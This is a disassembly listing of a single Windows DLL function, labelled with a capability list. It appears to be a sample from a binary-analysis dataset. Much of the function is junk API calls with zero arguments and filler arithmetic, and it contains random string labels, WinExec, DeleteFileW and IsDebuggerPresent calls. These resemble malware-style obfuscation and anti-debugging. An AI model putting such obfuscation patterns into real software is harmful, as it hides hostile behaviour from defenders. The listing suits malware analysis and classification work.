Function at 0x10011be0
Capabilities:
Create directory
Create mailslot
Create process on windows
Delete file
Get common file path
Get geographical location
Get system information on windows
Manipulate console buffer
Move file
Print debug messages
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1009be66
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x370
mov byte [0x1011d364], 1
cmp dword [ebp + 0xc], 1
jne 0x10012134
mov dword [0x1011d35c], 0x1226b6ef
movzx eax, byte [0x100b9b8f]
test eax, eax
je 0x1001212f
push 0x1c7
push 0x1000f570
lea ecx, [ebp - 0xa4]
push ecx
call fcn.10018110
add esp, 0xc
mov edx, dword [eax + 4]
push edx
mov eax, dword [eax]
push eax
call fcn.10018500
add esp, 8
cmp dword [0x1011d35c], 0x791c7063
jne 0x10011e97
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeClientSessionId]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSymbolicLinkTransactedW]
push 0
call dword [sym.imp.GDI32.dll_GetTextCharacterExtra]
push 0
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LockFileEx]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GlobalGetAtomNameW]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNumberFormatW]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapQueryInformation]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetAtomNameW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenThread]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadIdealProcessor]
push 0
call dword [sym.imp.KERNEL32.dll_GetPriorityClass]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_RegisterApplicationRecoveryCallback]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapSetInformation]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapCompact]
push 0
push 0
push str.3H7w4KeA5EXYgUA4n7HZ8
push 0
call dword [sym.imp.KERNEL32.dll_GetFileMUIInfo]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreW]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0
push ecx
xorps xmm0, xmm0
movss dword [esp], xmm0
push 0
call dword [sym.imp.GDI32.dll_SetMiterLimit]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MulDiv]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_ExcludeClipRect]
mov ecx, dword [ebp - 0x5c]
mov dword [ebp - 0x44], ecx
push 0
mov edx, dword [ebp - 0x44]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputAttribute]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_UnlockFile]
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_ExtCreateRegion]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessDEPPolicy]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileTransactedW]
call dword [sym.imp.KERNEL32.dll_FlushProcessWriteBuffers]
push 0
push 0
call dword [sym.imp.GDI32.dll_GetCurrentObject]
push 0
call dword [sym.imp.KERNEL32.dll_CloseThreadpoolWait]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindFirstFileTransactedW]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileTransactedW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
push 0
call dword [sym.imp.KERNEL32.dll_QueryDepthSList]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadpoolTimer]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
push 0
push str.92n86fLgK5iqSCfFF
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0
call dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
push 0
call dword [sym.imp.KERNEL32.dll_CreateThreadpool]
push 0x1f0
push 0x10008d00
lea eax, [ebp - 0xac]
push eax
call fcn.10018110
add esp, 0xc
mov ecx, dword [eax + 4]
push ecx
mov edx, dword [eax]
push edx
call fcn.10018500
add esp, 8
mov dword [ebp - 0x28], 0x21c
mov dword [ebp - 0x2c], 0x135d
mov eax, dword [ebp - 0x28]
add eax, dword [ebp - 0x2c]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x24], 0x6c
mov dword [ebp - 0x10], 0
mov ecx, dword [ebp - 0x18]
sub ecx, dword [ebp - 0x24]
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x20], 0x324
mov edx, dword [ebp - 0x20]
sub edx, dword [ebp - 0x20]
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x34], 0x8f4
mov eax, dword [ebp - 0x28]
add eax, dword [ebp - 0x34]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0
mov ecx, dword [ebp - 0x18]
sub ecx, dword [ebp - 0x34]
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], 0x205a
mov edx, dword [ebp - 0x1c]
add edx, dword [ebp - 0x10]
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x2c]
sub eax, dword [ebp - 0x20]
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x10]
sub ecx, dword [ebp - 0x24]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x20]
sub edx, 0x1305
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x30], 0x127e
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0x10]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x1c]
sub ecx, 0x87
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x18]
sub edx, dword [ebp - 0x24]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0x20]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x1c]
add ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x10]
add edx, dword [ebp - 0x1c]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x30]
sub eax, dword [ebp - 0x38]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x14], 0xc75
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0x10]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x18]
add edx, dword [ebp - 0x38]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x24]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x3c], 0
jmp 0x10011fcf
mov ecx, dword [ebp - 0x3c]
add ecx, 1
mov dword [ebp - 0x3c], ecx
cmp dword [ebp - 0x3c], 0x47
jge 0x10011fe0
mov edx, dword [ebp - 0x30]
add edx, 9
mov dword [ebp - 0x30], edx
jmp 0x10011fc6
mov eax, dword [ebp - 0x24]
sub eax, dword [ebp - 0x1c]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x10]
sub ecx, 0x13ed
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
add edx, dword [ebp - 0x14]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x1c]
sub eax, 0x1f15
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x20]
add ecx, 0x311
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x10]
sub edx, 0x74c
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0x20]
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x18]
sub ecx, dword [ebp - 0x38]
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x30]
sub edx, dword [ebp - 0x20]
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 0x38]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x28]
sub ecx, dword [ebp - 0x34]
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 0x20]
sub edx, 0x805
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0x34]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
add ecx, 0xc9b
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x24]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x1c]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x10]
add ecx, 0x171e
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x18]
add edx, 0x10c9
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x24]
add eax, dword [ebp - 0x2c]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x1c]
sub ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x38]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x24]
sub eax, 0x2123
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x14]
sub ecx, 0x1bf2
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x1c]
sub edx, 0x23f7
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0x2c]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x34]
add ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x34], ecx
mov edx, dword [ebp - 0x10]
sub edx, dword [ebp - 0x38]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x28]
add eax, dword [ebp - 0x24]
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x14]
sub ecx, 0xa66
mov dword [ebp - 0x14], ecx
push 0x1b6
push 0x1000e670
lea edx, [ebp - 0xb4]
push edx
call fcn.10018110
add esp, 0xc
mov ecx, dword [eax + 4]
push ecx
mov edx, dword [eax]
push edx
call fcn.10018500
add esp, 8
jmp 0x10012514
cmp dword [ebp + 0xc], 2
jne 0x10012514
lea eax, [ebp - 0x37c]
push eax
push 0
push 0
push 5
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x10012509
lea ecx, [ebp - 0x37c]
push ecx
lea ecx, [ebp - 0x9c]
call fcn.100141b0
mov dword [ebp - 4], 0
push str.whTNFLbKBTMeXafOCzbNb.txt
lea ecx, [ebp - 0x9c]
call fcn.10014170
push 1
push 0x40
push 1
lea edx, [ebp - 0x9c]
push edx
lea ecx, [ebp - 0x174]
call fcn.10012870
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x174]
call fcn.100127f0
movzx eax, al
test eax, eax
je 0x100124b7
lea ecx, [ebp - 0x84]
call fcn.10014590
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x84]
push ecx
lea edx, [ebp - 0x174]
push edx
call fcn.10018ea0
add esp, 8
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x40]
add edx, dword [ecx + 4]
mov ecx, edx
call fcn.10002af0
movzx eax, al
test eax, eax
je 0x1001249b
push 0
push str.erGlIAOHkqfOWZsgrMGwx
lea ecx, [ebp - 0x84]
call fcn.10014220
cmp eax, 0xffffffff
je 0x10012496
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessTimes]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push 0
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push 0
call dword [sym.imp.KERNEL32.dll_IsBadCodePtr]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetFileInformationByHandleEx]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
xor ecx, ecx
xor edx, edx
lock xadd dword [edx], ecx
push 0
call dword [sym.imp.KERNEL32.dll_LocalUnlock]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSectionWhenCallbackReturns]
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
push 0
push 0
push 0
push str.pBOG5nBvlZ9p2IPxUXp2r
push 0
push str.A3rII28fxYXuwPP9P5mJ1kpxXDc9i
call dword [sym.imp.KERNEL32.dll_GetNumberFormatEx]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetFileInformationByHandleEx]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CancelIoEx]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeServerProcessId]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMailslotW]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetWaitableTimer]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAdjustment]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckNameLegalDOS8Dot3W]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualFree]
call dword [sym.imp.KERNEL32.dll_GetSystemDEPPolicy]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNumaProximityNode]
push 0
call dword [sym.imp.KERNEL32.dll_Wow64EnableWow64FsRedirection]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemRegistryQuota]
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x48], eax
push 0
mov ecx, dword [ebp - 0x48]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_PurgeComm]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleCursorInfo]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFileValidData]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetGeoInfoW]
push str.ufZ97iwiO1bomDeM49B9AcOVG1l
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingFromApp]
push 0
call dword [sym.imp.KERNEL32.dll_GetLargestConsoleWindowSize]
mov dword [ebp - 0x64], eax
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreExW]
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetFileTime]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetProcessMitigationPolicy]
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
push 0
call dword [sym.imp.KERNEL32.dll_AcquireSRWLockShared]
push 0
push 0
push str.Pxn3rzd2g63veKO1UlTCnEbgu6Sh
push str.4VJpwx21uJp4A3og6NmE9cPc
push 0
call dword [sym.imp.KERNEL32.dll_NotifyUILanguageChange]
call dword [sym.imp.KERNEL32.dll_SetFileApisToOEM]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_PrepareTape]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitForThreadpoolWorkCallbacks]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_BackupWrite]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceW]
jmp 0x1001249b
jmp 0x100121c5
lea ecx, [ebp - 0x174]
call fcn.100127c0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x84]
call fcn.10014370
jmp 0x100124e6
push str.afNVGrpYlksbzspncwLnC
push 0x160
mov edx, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push edx
lea eax, [ebp - 0xbc]
push eax
call fcn.10018110
add esp, 0xc
mov ecx, dword [eax + 4]
push ecx
mov edx, dword [eax]
push edx
call fcn.10018ed0
add esp, 0xc
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x174]
call fcn.10012790
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x9c]
call fcn.10014190
jmp 0x10012514
push str.qDGPbbNHlnVRDeMspCiyIZFnnxH
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov eax, dword [0x1011d35c]
xor ecx, ecx
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x54], ecx
cmp dword [ebp - 0x58], 0xc745fa4a
jne 0x1001276d
cmp dword [ebp - 0x54], 0
jne 0x1001276d
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThreadpoolWait]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push 0
push str.4VL2GhA8K9i4FxxEa3bu9utwrMx
call dword [sym.imp.KERNEL32.dll_LoadPackagedLibrary]
push str.KwHivh58tTaP7KPQ
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadDescription]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CommConfigDialogW]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push 0
call dword [sym.imp.KERNEL32.dll_GetNumberOfConsoleMouseButtons]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateTapePartition]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateDirectoryExW]
mov edx, dword [ebp - 0x68]
mov dword [ebp - 0x4c], edx
mov eax, dword [ebp - 0x4c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
push 0
call dword [sym.imp.KERNEL32.dll_AddSecureMemoryCacheCallback]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeaps]
push 0
call dword [sym.imp.KERNEL32.dll_CancelSynchronousIo]
push 0
push str.247IiCyj3SZLC1wwJzet9meKte
call dword [sym.imp.KERNEL32.dll_RegisterApplicationRestart]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov ecx, dword [ebp - 0x6c]
mov dword [ebp - 0x50], ecx
push 0
mov edx, dword [ebp - 0x50]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ScrollConsoleScreenBufferW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSectionWhenCallbackReturns]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenEventW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_IsDBCSLeadByteEx]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenEventW]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_UnlockFileEx]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFileIoOverlappedRange]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetThreadIdealProcessorEx]
push 0
call dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_InitOnceBeginInitialize]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumUILanguagesW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessorNumberEx]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemFileCacheSize]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_BackupRead]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_UnlockFile]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessGroupAffinity]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessShutdownParameters]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreW]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
push 0
push 0
push str.XeeEpnT5VbK5mwaxYh1zz
push 0
push str.P1JwyQ51vNtdn4pCwALmGOzw
push 0
call dword [sym.imp.KERNEL32.dll_FindStringOrdinal]
push 0
call dword [sym.imp.KERNEL32.dll_WakeAllConditionVariable]
push 0
call dword [sym.imp.KERNEL32.dll_QueryDepthSList]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
call dword [sym.imp.KERNEL32.dll_GetThreadUILanguage]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddVectoredContinueHandler]
push 0
push str.ZkH4YRLTtYa9Xw8
push 0
push 0
push 0
push str.P1DeZ28sn4bbW8Ul
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GenerateConsoleCtrlEvent]
movzx eax, byte [0x1011d364]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 0xc